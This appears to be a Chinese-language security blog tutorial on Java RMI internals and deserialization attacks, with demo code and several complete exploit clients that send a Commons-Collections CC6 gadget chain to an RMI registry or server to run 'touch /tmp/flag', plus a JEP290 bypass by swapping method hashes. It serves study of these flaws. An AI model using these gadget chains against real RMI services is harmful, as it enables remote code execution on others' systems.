RMI (Remote Method Invocation,远程方法调用)
简单来说,RMI 能够让在客户端 Java 虚拟机上的对象像调用本地对象一样调用服务端 Java 虚拟机中的对象上的方法,提供的一种用于实现分布式计算的 API
想象一个大型的技术文档库,他们分散在 A、B、C 三台服务器上,如果没有 RMI 我们需要使用自己的客户端分别建立三个 Socket 连接,手动发送搜索指令,处理三份不同的数据流,最后再合并;而现在我们可以分布式部署 RMI 服务,并定义一个 SearchService 接口,客户端只需要依次调用 A、B、C 上的 search 方法即可
RMI 核心工作机制
整个通信流程我们可以看作是各自的代理进行交互:
- Stub (客户端代理): 实现了远程接口,暴露给客户端程序,并不进行真正的实现
- Skeleton (服务端代理): 运行在服务端,负责接收请求根据 Stub 发送的数据进行操作
- 🌟注册表查询:事实上 Stub 存根实例是在服务端生成的,其序列化后会存储绑定在服务端上的注册表中,客户端需要访问注册表来反序列化得到 Stub 实例到本地内存
- 参数序列化:Stub 接收到调用后,会将方法名和参数(对象、变量)转换成序列化二进制数据
- 建立连接与传输:Stub 通过 TCP/IP 协议连接到服务端的指定端口,并将序列化后的字节流发送出去
- 请求解包:服务端的 Skeleton 监听到连接请求后,读取字节流并将其反序列化为 Java 方法名和参数对象,根据方法名,通过反射机制找到服务端真正的实现类
- 实际执行:Skeleton 调用服务端本地的真实方法,计算压力由服务端的 CPU 承担
- 结果返回:Skeleton 拿到返回值再次序列化发回给客户端的 Stub,其解包后像普通函数返回值一样交给客户端程序

这里写一个 demo 来直观理解其工作流程
远程接口 IService,必须继承 java.rmi.Remote,且每个方法都必须抛出 RemoteException
1 2 3 4 5 6 7 8
| package org.example; import java.rmi.Remote; import java.rmi.RemoteException; public interface IService extends Remote { String say(String name) throws RemoteException; }
|
服务端 ServiceImpl,需要实现接口,并将其注册到 RMI 注册表中,以便客户端查找
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package org.example; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class ServiceImpl extends UnicastRemoteObject implements IService { protected ServiceImpl() throws RemoteException { super(22334); } @Override public String say(String name) throws RemoteException { System.out.println("服务端收到来自 " + name + " 的调用"); return "你好, " + name + "! 这是来自远程服务器的响应。"; } public static void main(String[] args) { System.setProperty("java.rmi.server.hostname", "IP"); try { IService service = new ServiceImpl(); Registry registry = LocateRegistry.createRegistry(22333); registry.rebind("HelloService", service); System.out.println("RMI 服务端已就绪..."); } catch (Exception e) { e.printStackTrace(); } } }
|
客户端 RmiClient,通过注册表找到服务的“代理”(Stub)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package org.example; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RmiClient { public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry("IP", 22333); IService stub = (IService) registry.lookup("HelloService"); String response = stub.say("Qu43ter"); System.out.println("客户端收到响应: " + response); } catch (Exception e) { e.printStackTrace(); } } }
|


RMI 反序列化漏洞
根据攻击场景的不同,通常有以下三大主流的触发调用链,它们最终都会通过 ObjectInputStream.readObject() 反序列化攻击构造的恶意对象
攻击 RMI 注册表
sun.rmi.registry.RegistryImpl_Skel
1 2 3 4 5 6 7
| private static final Operation[] operations = new Operation[]{ new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)") };
|
operations 数组定义了 Registry 接口的 5 个方法,分别是:
bind(String name, Remote obj):将名称与远程对象绑定
list():返回当前注册表中所有已绑定的名称列表
lookup(String name):根据名称查找并返回对应的远程对象引用
rebind(String name, Remote obj):强制绑定,名称已存在则覆盖
unbind(String name):解除指定名称的绑定
可以看到 bind/rebind 方法的参数 remote ,这也正是反序列化漏洞产生的原因:在 JDK 8u141 之前,远程客户端可以调用 bind/rebind,向注册表注入恶意序列化数据(对于客户端传入的是 Java 对象,经过原生 Java 序列化成二进制数据通过 RMI 的 JRMP 协议给服务端)
基于 bind/rebind


在以前的蛮荒年代可以使用 Java 原生反序列化来进行攻击触发特定逻辑,假设现在服务器上有特定的 cc 依赖包,我们便可以通过 RMI 这个入口触发 CC 链
改动点其实不多,借助一个 JDK 动态代理包装一下 hashmap 对象就好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| public class RmiClient { public static void main(String[] args) { try { String cmd = "touch /tmp/flag"; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<String, String> innerMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(innerMap, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Qu43ter"); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry, "Qu43ter"); Field factoryField = LazyMap.class.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer); innerMap.remove("Qu43ter"); Class<?> cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); InvocationHandler handler = (InvocationHandler) ctor.newInstance(Target.class, hashMap); Remote proxyRemote = (Remote) Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, handler ); Registry registry = LocateRegistry.getRegistry("IP", 22333); registry.bind("exp", proxyRemote); } catch (Exception e) { e.printStackTrace(); } } }
|
后续服务端反序列化这个 handler 时,AnnotationInvocationHandler 中的 memberValues 属性就会被赋值为我们的恶意 hashmap ,走 CC6 的逻辑

在后续高一点的版本,也可以结合 SSRF 的场景打内网服务
基于 unbind/lookup
同样的这两个方法中也存在 readObject() 的调用,对于 Java 这种强类型语言来说,客户端标准的 API 限制了参数必须是 String,因此需要实现一些更底层的手段将我们的恶意对象写进去

这里的 newCall 方法埋下一个伏笔
我们通常使用 Registry registry = LocateRegistry.getRegistry() 来创建注册中心,我们跟进该方法

底层指定了服务端的实现类 RegistryImpl,createProxy 方法用于创建动态代理,包装成一个客户端可以像调用本地方法一样调用的代理对象 Stub

这里兼容老版本的静态 Stub,会反射加载我们的 RegistryImpl_Stub 实体类,注册表中定义的那几个方法这里都会有
因此 registry 的 class 对象就是 RegistryImpl_Stub,但为了绕过 API 限制,我们的最终目标不是它,显然要朝更底层的方向前进,其父类的父类 —— RemoteObject
该类中定义了关键成员变量 RemoteRef ref,这是 RMI 客户端的远程引用层
在 RMI 的标准设计中,远程引用层(RRL) 介于上层(Stub/Skel 业务层)和下层(Transport 传输层)之间。它的核心职责是管理远程调用的语义(是一对一单播、还是多播?怎么建立连接?怎么处理异常?)

其会传输 RemoteCall 序列化后的请求信息通过 Socket 连接的方式传输到 RMI 服务端的远程引用层 sun.rmi.server.UnicastServerRef
同样的,RemoteRef 只是一个接口,其实现类是 UnicastRef

我们重点关注 newCall 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public RemoteCall newCall(RemoteObject var1, Operation[] var2, int var3, long var4) throws RemoteException { clientRefLog.log(Log.BRIEF, "get connection"); Connection var6 = this.ref.getChannel().newConnection(); try { clientRefLog.log(Log.VERBOSE, "create call context"); if (clientCallLog.isLoggable(Log.VERBOSE)) { this.logClientCall(var1, var2[var3]); } StreamRemoteCall var7 = new StreamRemoteCall(var6, this.ref.getObjID(), var3, var4); try { this.marshalCustomCallData(var7.getOutputStream()); } catch (IOException var9) { throw new MarshalException("error marshaling custom call data"); } return var7; } catch (RemoteException var10) { this.ref.getChannel().free(var6, false); throw var10; } }
|
可以看到这里的参数 Operation[] 操作数组,正是对应着注册表中的方法;StreamRemoteCall() 这个构造函数会向刚刚建立的 Socket 输出流里顺序写入 RMI 的数据头
其参数包括:
registry 对象
Object ID:RMI 注册表服务的固定 ID
Operation Number:这里对应我们的 lookup(2)
Interface Hash:接口版本 4905912898345647071L
在 RegistryImpl_Stub 类中也可以发现该方法的调用(也是和前面呼应上了)

至此我们的思路就很清晰了,通过反射拿到 RemoteObject,获取 Operations,然后调用 newCall 方法伪造 lookup 传输信息:将我们的恶意 HashMap 通过 writeObject 写入原始对象 getOutputStream() 输出流中,最后通过 invoke 将整条伪造好的数据流推送给服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| public class RmiClient { public static void main(String[] args) { try { String cmd = "touch /tmp/flag"; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<String, String> innerMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(innerMap, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Qu43ter"); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry, "Qu43ter"); Field factoryField = LazyMap.class.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer); innerMap.remove("Qu43ter"); Class<?> cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); InvocationHandler handler = (InvocationHandler) ctor.newInstance(Target.class, hashMap); Remote proxyRemote = (Remote) Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, handler ); Registry registry = LocateRegistry.getRegistry("IP", 22333);
Field[] field_ref = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); field_ref[0].setAccessible(true); UnicastRef ref = (UnicastRef) field_ref[0].get(registry); Field[] fields_op = registry.getClass().getDeclaredFields(); fields_op[0].setAccessible(true); Operation[] operations = (Operation[]) fields_op[0].get(registry); RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(proxyRemote); ref.invoke(var2); } catch (Exception e) { e.printStackTrace(); } } }
|
攻击 RMI 服务端
基于恶意服务参数
我们可以先以一个理想性的例子开头,假设远程端调用接口的方法参数是 Object 类型
1 2 3
| public interface IService extends Remote { String say(Object name) throws RemoteException; }
|
这就很简单了,调用 say() 直接把 CC6 的 Object 恶意对象传进去就行

Bypass JEP290
JEP290 在 JDK 8u121、7u131、6u141 及之后的版本引入,该机制特别针对 RMI Registry 内置了一套严格的白名单防御,以提高安全性,并支持自定义可配置的过滤机制;
具体来说我们无法使用 ysoserial 中的 RMIRegistryExploit(上述关于注册表的攻击方式)
届时,方法参数即便是 Object 类型也会被拦截恶意类。这里我们构造一个更一般的 demo :将服务端中的方法参数改回 String 类型,以此来说明 Bypass 链的纯粹性
Client 端中我们依旧保留 Object 参数,这是我们作为攻击者完全可以自定义的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| public class RmiClient { public static void main(String[] args) { try { String cmd = "touch /tmp/flag"; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<String, String> innerMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(innerMap, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Qu43ter"); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry, "Qu43ter"); Field factoryField = LazyMap.class.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer); innerMap.remove("Qu43ter"); Registry registry = LocateRegistry.getRegistry("IP", 22333); IService service = (IService) registry.lookup("HelloService"); service.say(hashMap); } catch (Exception e) { e.printStackTrace(); } } }
|

此时会报错:哈希不一致。其实也就是方法不一致,Java RMI 在编译接口时,会根据方法名、返回值类型、参数类型列表等信息,通过 SHA-1 算法计算出一个 64 位的 long 类型哈希值
发现问题了吗?重点在于客户端的这些方法参数我们完全是可控的,若改为了服务端对应的方法参数使得哈希一致不就行了吗?
我们注意到第三行的报错 UnicastServerRef.dispatch,这是处理客户端序列化数据的必经逻辑,其中会复用 UnicastRef 的 unmarshalValue 方法


显然在 hash 匹配的情况下只要不是基础类型都会直接走反序列化,这个里面是不包含 String 参数类型的!
现在要做的工作就是去寻找客户端的 hook 点拦截并更改为服务端对应的方法参数:java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod
这就是本地客户端“看起来”在调用本地方法实际上走动态代理的点

既然在调试,我们就把这个参数类型改一下
首先需要在客户端定义这两个不同类型参数的 say() 方法,并一一实现
1 2 3 4
| public interface IService extends Remote { String say(Object name) throws RemoteException; String say(String name) throws RemoteException; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| public class ServiceImpl extends UnicastRemoteObject implements IService { protected ServiceImpl() throws RemoteException { super(22334); } @Override public String say(Object name) throws RemoteException { System.out.println("服务端收到来自 " + name + " 的调用"); return "你好, " + name + "! 这是来自远程服务器的响应。"; } @Override public String say(String name) throws RemoteException { System.out.println("服务端收到来自 String 类型的调用: " + name); return "你好," + name; } public static void main(String[] args) { System.setProperty("java.rmi.server.hostname", "IP"); try { IService service = new ServiceImpl(); Registry registry = LocateRegistry.createRegistry(22333); registry.rebind("HelloService", service); System.out.println("RMI 服务端已就绪..."); } catch (Exception e) { e.printStackTrace(); } } }
|
通过 debug 调试直接表达式求值更改参数
1
| method = org.example.IService.class.getMethod("say", new Class[]{java.lang.String.class})
|


在高版本 Java8 中,我们可以使用这种方法绕过;对于低版本同时服务端实现的参数类型为非基础类型时,我们依旧可以沿用这种思路,这也是前面所提到纯粹性的原因
攻击 RMI 客户端
一般场景是从服务端攻击,扩散至客户端,其实和上述的方法也是大同小异的,只不过攻击方向不一样